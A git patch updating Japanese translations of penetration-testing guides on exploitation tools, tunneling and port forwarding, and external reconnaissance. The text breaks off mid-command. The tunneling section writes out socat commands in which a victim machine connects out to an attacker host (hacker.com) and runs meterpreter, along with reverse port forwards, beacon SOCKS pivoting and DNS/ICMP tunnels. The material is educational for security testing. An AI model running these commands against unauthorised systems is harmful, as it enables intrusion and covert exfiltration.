From 8e33692d925b4b0fc583ae88bf59d883490530b4 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 5 Jan 2025 21:09:55 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/basic-stack-binary-exploitation-met --- .../tools/README.md | 52 ++--- .../tunneling-and-port-forwarding.md | 40 ++-- .../external-recon-methodology/README.md | 92 ++++----- .../pentesting-methodology.md | 42 ++--- .../phishing-documents.md | 16 +- .../escaping-from-gui-applications.md | 50 ++--- .../privilege-escalation/README.md | 178 +++++++++--------- .../9200-pentesting-elasticsearch.md | 20 +- .../pentesting-ftp/README.md | 28 +-- .../README.md | 56 +++--- .../iis-internet-information-services.md | 38 ++-- .../pentesting-web/php-tricks-esp/README.md | 82 ++++---- .../pentesting-web/put-method-webdav.md | 22 +-- src/pentesting-web/clickjacking.md | 28 +-- .../exploiting-__viewstate-parameter.md | 60 +++--- src/pentesting-web/email-injections.md | 32 ++-- src/pentesting-web/file-inclusion/README.md | 106 +++++------ src/pentesting-web/ldap-injection.md | 6 +- src/pentesting-web/open-redirect.md | 6 +- src/pentesting-web/saml-attacks/README.md | 58 +++--- src/pentesting-web/sql-injection/README.md | 70 +++---- ...and-ntlm-chanllenge-response-disclosure.md | 12 +- ...ble-stylesheet-language-transformations.md | 20 +- .../xss-cross-site-scripting/README.md | 86 ++++----- .../xxe-xee-xml-external-entity.md | 88 ++++----- .../cheat-engine.md | 40 ++-- src/todo/hardware-hacking/radio.md | 94 ++++----- .../1.-tokenizing.md | 32 ++-- .../active-directory-methodology/README.md | 150 +++++++-------- .../printers-spooler-service-abuse.md | 16 +- src/windows-hardening/ntlm/README.md | 38 ++-- .../README.md | 178 +++++++++--------- 32 files changed, 919 insertions(+), 917 deletions(-) diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md index 452fc0a67..f9ae39e19 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md @@ -1,4 +1,4 @@ -# 利用ツール +# Exploiting Tools {{#include ../../../banners/hacktricks-training.md}} @@ -74,7 +74,7 @@ x/i $eip # Instructions of the EIP ``` ### [GEF](https://github.com/hugsy/gef) -より興味深い指示が含まれている[**このGEのフォーク**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef)をオプションで使用することができます。 +オプションとして、[**このGEのフォーク**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef)を使用することができ、より興味深い指示が含まれています。 ```bash help memory # Get help on memory command canary # Search for canary value in memory @@ -149,9 +149,9 @@ gef➤ bt ### スタックオフセットの特定 -**Ghidra**は、**ローカル変数の位置に関する情報のおかげで、バッファオーバーフローのための**オフセット**を見つけるのに非常に便利です。**\ -例えば、以下の例では、`local_bc`のバッファフローは、`0xbc`のオフセットが必要であることを示しています。さらに、`local_10`がカナリークッキーである場合、`local_bc`からそれを上書きするためには`0xac`のオフセットが必要であることを示しています。\ -&#xNAN;_Remember that the first 0x08 from where the RIP is saved belongs to the RBP._ +**Ghidra**は、**ローカル変数の位置に関する情報のおかげで、**バッファオーバーフローの**オフセット**を見つけるのに非常に便利です。**\ +例えば、以下の例では、`local_bc`のバッファフローは、`0xbc`のオフセットが必要であることを示しています。さらに、`local_10`がカナリークッキーである場合、`local_bc`からそれを上書きするには`0xac`のオフセットが必要です。\ +_Remember that the first 0x08 from where the RIP is saved belongs to the RBP._ ![](<../../../images/image (1061).png>) @@ -159,42 +159,42 @@ gef➤ bt ```bash qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog ``` -プログラムで実行されるすべてのオペコードを取得します。 +Get every opcode executed in the program. ## GCC **gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 保護なしでコンパイル\ -&#xNAN;**-o** --> 出力\ -&#xNAN;**-g** --> コードを保存(GDBが見ることができる)\ -**echo 0 > /proc/sys/kernel/randomize_va_space** --> LinuxでASLRを無効にするため +**-o** --> 出力\ +**-g** --> コードを保存(GDBが見ることができる)\ +**echo 0 > /proc/sys/kernel/randomize_va_space** --> LinuxでASLRを無効にする -**シェルコードをコンパイルするには:**\ +**シェルコードをコンパイルするには:**\ **nasm -f elf assembly.asm** --> ".o"を返す\ -**ld assembly.o -o shellcodeout** --> 実行可能 +**ld assembly.o -o shellcodeout** --> 実行可能ファイル ## Objdump -**-d** --> **実行可能**セクションを逆アセンブル(コンパイルされたシェルコードのオペコードを確認、ROPガジェットを見つける、関数アドレスを見つける...)\ -&#xNAN;**-Mintel** --> **Intel**構文\ -&#xNAN;**-t** --> **シンボル**テーブル\ -&#xNAN;**-D** --> **すべてを逆アセンブル**(静的変数のアドレス)\ -&#xNAN;**-s -j .dtors** --> dtorsセクション\ -&#xNAN;**-s -j .got** --> gotセクション\ +**-d** --> **実行可能**セクションを逆アセンブル(コンパイルされたシェルコードのオペコードを確認、ROPガジェットを見つける、関数アドレスを見つける...)\ +**-Mintel** --> **Intel**構文\ +**-t** --> **シンボル**テーブル\ +**-D** --> **すべてを逆アセンブル**(静的変数のアドレス)\ +**-s -j .dtors** --> dtorsセクション\ +**-s -j .got** --> gotセクション\ -D -s -j .plt --> **plt**セクション **逆コンパイル**\ -&#xNAN;**-TR** --> **再配置**\ +**-TR** --> **再配置**\ **ojdump -t --dynamic-relo ./exec | grep puts** --> GOTで修正するための"puts"のアドレス\ -**objdump -D ./exec | grep "VAR_NAME"** --> 静的変数のアドレス(これらはDATAセクションに格納されます)。 +**objdump -D ./exec | grep "VAR_NAME"** --> 静的変数のアドレス(これらはDATAセクションに格納される)。 -## コアダンプ +## Core dumps -1. プログラムを開始する前に `ulimit -c unlimited` を実行します -2. `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` を実行します +1. プログラムを開始する前に `ulimit -c unlimited` を実行 +2. `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` を実行 3. sudo gdb --core=\ --quiet -## もっと +## More -**ldd executable | grep libc.so.6** --> アドレス(ASLRの場合、毎回変わります)\ -**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> アドレスが頻繁に変わるかどうかを確認するためのループ\ +**ldd executable | grep libc.so.6** --> アドレス(ASLRの場合、毎回変わる)\ +**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> アドレスが頻繁に変わるか確認するためのループ\ **readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system"のオフセット\ **strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh"のオフセット @@ -210,7 +210,7 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog ### リモートLinuxでのデバッグ -IDAフォルダ内には、Linux内のバイナリをデバッグするために使用できるバイナリがあります。これを行うには、バイナリ`linux_server`または`linux_server64`をLinuxサーバー内に移動し、バイナリを含むフォルダ内で実行します: +IDAフォルダ内には、Linux内でバイナリをデバッグするために使用できるバイナリが含まれています。これを行うには、`linux_server`または`linux_server64`バイナリをLinuxサーバー内に移動し、バイナリを含むフォルダ内で実行します: ``` ./linux_server64 -Ppass ``` diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index 5b3f2e707..ef39cc140 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -5,7 +5,7 @@ ## Nmapのヒント > [!WARNING] -> **ICMP**および**SYN**スキャンはソックスプロキシを通してトンネリングできないため、**pingディスカバリー**を**無効に**し(`-Pn`)、**TCPスキャン**(`-sT`)を指定する必要があります。 +> **ICMP**および**SYN**スキャンはソックスプロキシを通じてトンネリングできないため、**pingディスカバリーを無効にする**必要があります(`-Pn`)および**TCPスキャン**(`-sT`)を指定する必要があります。 ## **Bash** @@ -68,7 +68,7 @@ ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN ``` ### VPN-Tunnel -両方のデバイスで**rootが必要**です(新しいインターフェースを作成するため)し、sshdの設定はrootログインを許可する必要があります:\ +両方のデバイスで**rootが必要**です(新しいインターフェースを作成するため)およびsshdの設定でrootログインを許可する必要があります:\ `PermitRootLogin yes`\ `PermitTunnel yes` ```bash @@ -83,14 +83,14 @@ ifconfig tun0 up #Activate the server side network interface echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE ``` -クライアント側に新しいルートを設定する +クライアント側で新しいルートを設定する ``` route add -net 10.0.0.0/16 gw 1.1.1.1 ``` ## SSHUTTLE あなたは**ssh**を介してホストを通じて**サブネットワーク**へのすべての**トラフィック**を**トンネル**することができます。\ -例えば、10.10.10.0/24に向かうすべてのトラフィックを転送します。 +例えば、10.10.10.0/24へのすべてのトラフィックを転送します。 ```bash pip install sshuttle sshuttle -r user@host 10.10.10.10/24 @@ -134,7 +134,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ### SOCKSプロキシ -すべてのインターフェースでリッスンしているチームサーバーにポートを開き、**ビークンを通じてトラフィックをルーティングする**ことができます。 +チームサーバーでポートを開き、すべてのインターフェースでリッスンし、**ビコーンを通じてトラフィックをルーティングする**ことができます。 ```bash beacon> socks 1080 [+] started SOCKS4a server on: 1080 @@ -145,7 +145,7 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25 ### rPort2Port > [!WARNING] -> この場合、**ポートはビーコンホストで開かれます**。チームサーバーではなく、トラフィックはチームサーバーに送信され、そこから指定されたホスト:ポートに送信されます。 +> この場合、**ポートはビーコーンホストで開かれます**。チームサーバーではなく、トラフィックはチームサーバーに送信され、そこから指定されたホスト:ポートに送られます。 ```bash rportfwd [bind port] [forward host] [forward port] rportfwd stop [bind port] @@ -286,7 +286,7 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5 #Execute the meterpreter ``` -あなたは被害者のコンソールで最後の行の代わりにこの行を実行することで**非認証プロキシ**をバイパスできます: +非認証プロキシをバイパスするには、被害者のコンソールで最後の行の代わりにこの行を実行します: ```bash OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5 ``` @@ -312,7 +312,7 @@ victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server. ``` ### Remote Port2Port -ローカルSSHポート(22)を攻撃者ホストの443ポートに接続します +ローカルSSHポート(22)を攻撃者ホストの443ポートに接続します。 ```bash attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost victim> while true; do socat TCP4::443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22 @@ -320,9 +320,9 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o ``` ## Plink.exe -これはコンソール版のPuTTYのようなもので(オプションはsshクライアントに非常に似ています)、 +これはコンソール版のPuTTYのようなもので(オプションはsshクライアントに非常に似ています)。 -このバイナリは被害者のマシンで実行され、sshクライアントであるため、リバース接続を確立するためにsshサービスとポートを開く必要があります。次に、ローカルでアクセス可能なポートを自分のマシンのポートに転送するには: +このバイナリは被害者のコンピュータで実行され、sshクライアントであるため、リバース接続を確立するためにsshサービスとポートを開く必要があります。次に、ローカルでアクセス可能なポートを自分のマシンのポートに転送するには: ```bash echo y | plink.exe -l -pw [-p ] -R :: echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090 @@ -331,7 +331,7 @@ echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0 ### Port2Port -任意のポートに対してローカル管理者である必要があります。 +ローカル管理者である必要があります(任意のポートについて) ```bash netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp # Example: @@ -354,13 +354,13 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 # Load SocksOverRDP.dll using regsvr32.exe C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` -今、私たちは **`mstsc.exe`** を使用して **RDP** 経由で **victim** に **接続** でき、**SocksOverRDP プラグインが有効になっている** という **プロンプト** が表示され、**127.0.0.1:1080** で **リッスン** することになります。 +今、私たちは **`mstsc.exe`** を使用して **RDP** 経由で **victim** に **接続** できます。**SocksOverRDP プラグインが有効になっている** という **プロンプト** が表示され、**127.0.0.1:1080** で **リッスン** します。 **RDP** 経由で **接続** し、victim マシンに `SocksOverRDP-Server.exe` バイナリをアップロードして実行します: ``` C:\SocksOverRDP-x64> SocksOverRDP-Server.exe ``` -攻撃者のマシンでポート1080がリッスンしていることを確認してください: +攻撃者のマシンでポート1080がリッスンしていることを確認します: ``` netstat -antb | findstr 1080 ``` @@ -383,7 +383,7 @@ http-proxy 8080 ntlm [http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/) -プロキシに対して認証を行い、指定した外部サービスに転送されるローカルポートをバインドします。これにより、このポートを通じてお好みのツールを使用できます。\ +プロキシに対して認証を行い、指定した外部サービスに転送されるローカルポートをバインドします。これにより、このポートを介してお好みのツールを使用できます。\ 例えば、ポート443を転送します。 ``` Username Alice @@ -393,7 +393,7 @@ Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` 今、例えば被害者の**SSH**サービスをポート443でリッスンするように設定した場合、攻撃者はポート2222を通じて接続できます。\ -また、**meterpreter**を使用してlocalhost:443に接続し、攻撃者がポート2222でリッスンしていることも可能です。 +また、**meterpreter**を使用してlocalhost:443に接続し、攻撃者がポート2222でリッスンしていることもできます。 ## YARP @@ -430,7 +430,7 @@ victim> ./dnscat2 --dns host=10.10.10.10,port=5353 ``` #### **PowerShellで** -[**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell)を使用して、PowerShellでdnscat2クライアントを実行できます: +[**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell)を使用して、PowerShellでdnscat2クライアントを実行できます: ``` Import-Module .\dnscat2.ps1 Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd @@ -442,7 +442,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b ``` #### プロキシチェインのDNSを変更する -Proxychainsは`gethostbyname` libcコールをインターセプトし、tcp DNSリクエストをsocksプロキシを通してトンネリングします。**デフォルト**では、proxychainsが使用する**DNS**サーバーは**4.2.2.2**(ハードコーディングされています)。これを変更するには、ファイルを編集します: _/usr/lib/proxychains3/proxyresolv_ そしてIPを変更します。**Windows環境**にいる場合は、**ドメインコントローラー**のIPを設定できます。 +Proxychainsは`gethostbyname` libcコールをインターセプトし、TCP DNSリクエストをソックスプロキシを通じてトンネリングします。**デフォルト**では、proxychainsが使用する**DNS**サーバーは**4.2.2.2**(ハードコーディングされています)。これを変更するには、ファイルを編集します: _/usr/lib/proxychains3/proxyresolv_ そしてIPを変更します。**Windows環境**にいる場合は、**ドメインコントローラー**のIPを設定できます。 ## Goでのトンネル @@ -455,7 +455,7 @@ Proxychainsは`gethostbyname` libcコールをインターセプトし、tcp DNS [https://github.com/friedrich/hans](https://github.com/friedrich/hans)\ [https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel) -両方のシステムでルート権限が必要で、tunアダプタを作成し、ICMPエコーリクエストを使用してデータをトンネリングします。 +ルート権限が両方のシステムで必要で、ICMPエコーリクエストを使用してトンアダプタを作成し、データをトンネリングします。 ```bash ./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection) ./hans -f -c -p P@ssw0rd -v @@ -463,7 +463,7 @@ ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.1 ``` ### ptunnel-ng -[**ここからダウンロード**](https://github.com/utoni/ptunnel-ng.git). +[**ここからダウンロード**](https://github.com/utoni/ptunnel-ng.git)。 ```bash # Generate it sudo ./autogen.sh @@ -480,7 +480,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1 ## ngrok [**ngrok**](https://ngrok.com/) **は、1つのコマンドラインでソリューションをインターネットに公開するためのツールです。**\ -&#xNAN;_Exposition URI は次のようになります:_ **UID.ngrok.io** +_Exposition URI は次のようになります:_ **UID.ngrok.io** ### インストール diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md index dffef2b7e..55d054446 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -1,4 +1,4 @@ -# 外部リコンメソッド +# 外部リコンメソドロジー {{#include ../../banners/hacktricks-training.md}} @@ -9,26 +9,26 @@ このフェーズの目標は、**主要な会社が所有するすべての会社**と、これらの会社の**資産**を取得することです。そのために、以下のことを行います: 1. 主要な会社の買収を見つけます。これにより、スコープ内の会社がわかります。 -2. 各会社のASN(あれば)を見つけます。これにより、各会社が所有するIP範囲がわかります。 +2. 各会社のASN(もしあれば)を見つけます。これにより、各会社が所有するIP範囲がわかります。 3. 逆whois検索を使用して、最初の会社に関連する他のエントリ(組織名、ドメインなど)を検索します(これは再帰的に行うことができます)。 4. shodanの`org`および`ssl`フィルターなどの他の技術を使用して、他の資産を検索します(`ssl`トリックは再帰的に行うことができます)。 ### **買収** まず最初に、**主要な会社が所有する他の会社**を知る必要があります。\ -一つのオプションは、[https://www.crunchbase.com/](https://www.crunchbase.com)を訪れ、**主要な会社**を**検索**し、**「買収」**を**クリック**することです。そこで、主要な会社によって買収された他の会社を見ることができます。\ -もう一つのオプションは、主要な会社の**Wikipedia**ページを訪れ、**買収**を検索することです。 +1つのオプションは、[https://www.crunchbase.com/](https://www.crunchbase.com)を訪れ、**主要な会社**を**検索**し、**「買収」**を**クリック**することです。そこで、主要な会社によって買収された他の会社を見ることができます。\ +もう1つのオプションは、主要な会社の**Wikipedia**ページを訪れ、**買収**を検索することです。 > さて、この時点でスコープ内のすべての会社を把握しているはずです。彼らの資産を見つける方法を考えましょう。 ### **ASNs** 自律システム番号(**ASN**)は、**インターネット割り当て番号機関(IANA)**によって**自律システム**(AS)に割り当てられた**ユニークな番号**です。\ -**AS**は、外部ネットワークへのアクセスに対して明確に定義されたポリシーを持つ**IPアドレスのブロック**で構成され、単一の組織によって管理されますが、複数のオペレーターで構成されることがあります。 +**AS**は、外部ネットワークへのアクセスに対して明確に定義されたポリシーを持つ**IPアドレスのブロック**で構成され、単一の組織によって管理されますが、複数のオペレーターで構成される場合があります。 **会社が割り当てたASN**を見つけて、その**IP範囲**を特定することは興味深いです。**スコープ内のすべてのホスト**に対して**脆弱性テスト**を実施し、これらのIP内の**ドメイン**を探すことが興味深いでしょう。\ [**https://bgp.he.net/**](https://bgp.he.net)で会社の**名前**、**IP**、または**ドメイン**で**検索**できます。\ -**会社の地域によっては、これらのリンクがより多くのデータを収集するのに役立つかもしれません:** [**AFRINIC**](https://www.afrinic.net) **(アフリカ)、** [**Arin**](https://www.arin.net/about/welcome/region/) **(北アメリカ)、** [**APNIC**](https://www.apnic.net) **(アジア)、** [**LACNIC**](https://www.lacnic.net) **(ラテンアメリカ)、** [**RIPE NCC**](https://www.ripe.net) **(ヨーロッパ)。とにかく、おそらくすべての**有用な情報**(IP範囲とWhois)は最初のリンクにすでに表示されています。 +**会社の地域によっては、これらのリンクがより多くのデータを収集するのに役立つかもしれません:** [**AFRINIC**](https://www.afrinic.net) **(アフリカ)、** [**Arin**](https://www.arin.net/about/welcome/region/) **(北アメリカ)、** [**APNIC**](https://www.apnic.net) **(アジア)、** [**LACNIC**](https://www.lacnic.net) **(ラテンアメリカ)、** [**RIPE NCC**](https://www.ripe.net) **(ヨーロッパ)。とにかく、おそらくすべての**有用な情報**(IP範囲とWhois)は、最初のリンクにすでに表示されています。 ```bash #You can try "automate" this with amass, but it's not very recommended amass intel -org tesla @@ -51,7 +51,7 @@ bbot -t tesla.com -f subdomain-enum [INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+ ``` -あなたは、[http://asnlookup.com/](http://asnlookup.com)を使用して、組織のIP範囲を見つけることができます(無料のAPIがあります)。\ +あなたは、[http://asnlookup.com/](http://asnlookup.com)を使用して、組織のIP範囲を見つけることができます(無料APIがあります)。\ ドメインのIPとASNを見つけるには、[http://ipv4info.com/](http://ipv4info.com)を使用できます。 ### **脆弱性の探索** @@ -62,11 +62,11 @@ bbot -t tesla.com -f subdomain-enum ## ドメイン -> スコープ内のすべての企業とその資産を把握しているので、スコープ内のドメインを見つける時が来ました。 +> スコープ内のすべての企業とその資産を把握しているので、スコープ内のドメインを見つける時です。 _以下の提案された技術では、サブドメインも見つけることができ、その情報は過小評価すべきではありません。_ -まず、各企業の**主要ドメイン**を探すべきです。たとえば、_Tesla Inc._の主要ドメインは_tesla.com_になります。 +まず、各企業の**主要ドメイン**を探すべきです。例えば、_Tesla Inc._の主要ドメインは_tesla.com_になります。 ### **逆引きDNS** @@ -80,9 +80,9 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns この機能を利用するには、管理者が手動でPTRを有効にする必要があります。\ この情報のためにオンラインツールを使用することもできます: [http://ptrarchive.com/](http://ptrarchive.com) -### **逆Whois(ループ)** +### **リバースWhois(ループ)** -**whois**の中には、**組織名**、**住所**、**メール**、電話番号などの多くの興味深い**情報**が含まれています... しかし、さらに興味深いのは、これらのフィールドのいずれかで**逆whois検索を行う**ことで、**会社に関連する他の資産**を見つけることができることです(例えば、同じメールが表示される他のwhoisレジストリ)。\ +**whois**の中には、**組織名**、**住所**、**メール**、電話番号などの多くの興味深い**情報**が含まれています... しかし、さらに興味深いのは、これらのフィールドのいずれかで**リバースWhois検索**を行うと、**会社に関連する他の資産**を見つけることができることです(例えば、同じメールが表示される他のwhoisレジストリ)。\ 次のようなオンラインツールを使用できます: - [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **無料** @@ -94,7 +94,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns - [https://www.domainiq.com/](https://www.domainiq.com) - 無料ではありません [**DomLink** ](https://github.com/vysecurity/DomLink)を使用してこのタスクを自動化できます(whoxy APIキーが必要です)。\ -また、[amass](https://github.com/OWASP/Amass)を使用して自動逆whois発見を行うこともできます: `amass intel -d tesla.com -whois` +また、[amass](https://github.com/OWASP/Amass)を使用して自動リバースWhois発見を行うこともできます: `amass intel -d tesla.com -whois` **新しいドメインを見つけるたびに、この技術を使用してさらに多くのドメイン名を発見できることに注意してください。** @@ -113,7 +113,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ### **ファビコン** -同じファビコンアイコンのハッシュを探すことで、ターゲットに関連するドメインやサブドメインを見つけることができることをご存知でしたか?これは、[@m4ll0k2](https://twitter.com/m4ll0k2)によって作成された[favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py)ツールが行うことです。使用方法は次のとおりです: +同じファビコンアイコンのハッシュを探すことで、ターゲットに関連するドメインやサブドメインを見つけることができることをご存知でしたか?これは、[@m4ll0k2](https://twitter.com/m4ll0k2)によって作成されたツール[favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py)が行うことです。使用方法は次のとおりです: ```bash cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt python3 favihash.py -f https://target/favicon.ico -t targets.txt -s @@ -181,8 +181,8 @@ IPスペースを所有する組織の名前がわかっているので、その いくつかの[ドメインテイクオーバー](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)を確認してください。ある会社が**ドメインを使用しているが、所有権を失った**可能性があります。十分に安価であれば、それを登録し、会社に知らせてください。 -もし、資産発見で見つけたものとは異なるIPを持つ**ドメイン**を見つけた場合、**基本的な脆弱性スキャン**(NessusまたはOpenVASを使用)と、**nmap/masscan/shodan**を使用したいくつかの[**ポートスキャン**](../pentesting-network/index.html#discovering-hosts-from-the-outside)を実行するべきです。どのサービスが実行されているかに応じて、**この本で「攻撃」するためのいくつかのトリックを見つけることができます**。\ -&#xNAN;_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ +もし、資産発見で既に見つけたものとは異なるIPを持つ**ドメイン**を見つけた場合、**基本的な脆弱性スキャン**(NessusまたはOpenVASを使用)と、**nmap/masscan/shodan**を使用したいくつかの[**ポートスキャン**](../pentesting-network/index.html#discovering-hosts-from-the-outside)を実行するべきです。どのサービスが実行されているかに応じて、**この本で「攻撃」するためのいくつかのトリックを見つけることができます**。\ +_Noteは、時々ドメインがクライアントによって制御されていないIP内にホストされているため、スコープに含まれないことがあるので注意してください。_ ## サブドメイン @@ -250,7 +250,7 @@ vita -d tesla.com ```bash theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye" ``` -他にも**興味深いツール/API**があり、サブドメインの発見に特化していなくてもサブドメインを見つけるのに役立つかもしれません。例えば: +他にも**興味深いツール/API**があり、サブドメインの発見に特化していなくてもサブドメインを見つけるのに役立つことがあります。例えば: - [**Crobat**](https://github.com/cgboal/sonarsearch)**:** API [https://sonar.omnisint.io](https://sonar.omnisint.io)を使用してサブドメインを取得します。 ```bash @@ -258,7 +258,7 @@ theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferov ## This is the API the crobat tool will use curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]" ``` -- [**JLDC無料API**](https://jldc.me/anubis/subdomains/google.com) +- [**JLDC free API**](https://jldc.me/anubis/subdomains/google.com) ```bash curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]" ``` @@ -341,7 +341,7 @@ sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt ``` -- [**gobuster**](https://github.com/OJ/gobuster): これはおそらく1つのリゾルバを使用していると思います。 +- [**gobuster**](https://github.com/OJ/gobuster): これは1つのリゾルバを使用していると思います。 ``` gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` @@ -353,7 +353,7 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` puredns bruteforce all.txt domain.com ``` -- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) は、asyncioを使用してドメイン名を非同期にブルートフォースします。 +- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) は、非同期にドメイン名をブルートフォースするために asyncio を使用します。 ``` aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com ``` @@ -389,13 +389,13 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ #### スマートな順列生成 -- [**regulator**](https://github.com/cramppet/regulator): 詳細についてはこの[**投稿**](https://cramppet.github.io/regulator/index.html)を読んでくださいが、基本的には**発見されたサブドメイン**の**主要部分**を取得し、それらを混ぜてより多くのサブドメインを見つけます。 +- [**regulator**](https://github.com/cramppet/regulator): 詳細についてはこの[**投稿**](https://cramppet.github.io/regulator/index.html)を読んでくださいが、基本的には**発見されたサブドメイン**から**主要な部分**を取得し、それらを混ぜてより多くのサブドメインを見つけます。 ```bash python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute puredns resolve adobe.brute --write adobe.valid ``` -- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ は、非常にシンプルで効果的なDNS応答ガイドアルゴリズムと組み合わされたサブドメインブルートフォースファッザーです。提供された入力データセット(カスタマイズされた単語リストや過去のDNS/TLSレコードなど)を利用して、より対応するドメイン名を正確に合成し、DNSスキャン中に収集した情報に基づいてさらにループで拡張します。 +- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ は、非常にシンプルで効果的なDNS応答ガイドアルゴリズムと組み合わされたサブドメインブルートフォースファズァです。提供された入力データセット(カスタマイズされた単語リストや過去のDNS/TLSレコードなど)を利用して、より対応するドメイン名を正確に合成し、DNSスキャン中に収集された情報に基づいてさらにループで拡張します。 ``` echo www | subzuf facebook.com ``` @@ -440,7 +440,7 @@ VHostScan -t example.com ### **CORSブルートフォース** -時々、_**Origin**_ ヘッダーに有効なドメイン/サブドメインが設定されている場合にのみ、_**Access-Control-Allow-Origin**_ ヘッダーを返すページを見つけることがあります。このようなシナリオでは、この動作を悪用して新しい **サブドメイン** を **発見** することができます。 +時々、_**Origin**_ ヘッダーに有効なドメイン/サブドメインが設定されているときにのみ、_**Access-Control-Allow-Origin**_ ヘッダーを返すページを見つけることがあります。このようなシナリオでは、この動作を悪用して新しい**サブドメイン**を**発見**することができます。 ```bash ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` @@ -451,22 +451,22 @@ ffuf -w subdomains-top1million-5000.txt -u 